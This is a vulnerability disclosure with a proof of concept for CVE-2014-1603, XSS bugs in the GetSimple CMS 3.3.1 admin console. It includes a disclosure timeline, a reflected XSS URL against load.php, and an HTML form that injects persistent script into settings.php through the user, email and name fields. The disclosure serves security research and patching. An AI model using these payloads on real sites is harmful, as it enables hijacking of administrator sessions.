PoC for XSS bugs in the admin console of GetSimple CMS 3.3.1
CVE-2014-1603
by Pedro Ribeiro (pedrib@gmail.com) from Agile Information Security

Timeline:
  04/11/2013 - Found bugs, produced proof of concept.
  05/11/2013 - Communicated to the developer, which acknowledged receipt.
  10/01/2014 - Politely asked the developer for progress, no response.
  17/01/2014 - Received CVE number from MITRE.
  20/01/2014 - Communicated CVE number to the developer, no response.
  29/01/2014 - Politely asked the developer for progress, no response.
  12/05/2014 - Public release.
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Reflected XSS in plugin load page:
  http://192.168.56.101/getsimple/admin/load.php?id=anonymous_data&param="><script>alert(1)</script>

Persistent XSS in settings page:
  <form name="input" action="http://192.168.56.101/getsimple/admin/settings.php" method="post">
  <input type="text" name="user" value=""><script>alert(1);</script>">
  <input type="text" name="email" value=""><script>alert(2);</script>">
  <input type="text" name="name" value=""><script>alert(3);</script>">
  <input type="hidden" name="submitted" value="Save Settings">
  <input type="submit" value="Submit">
  </form>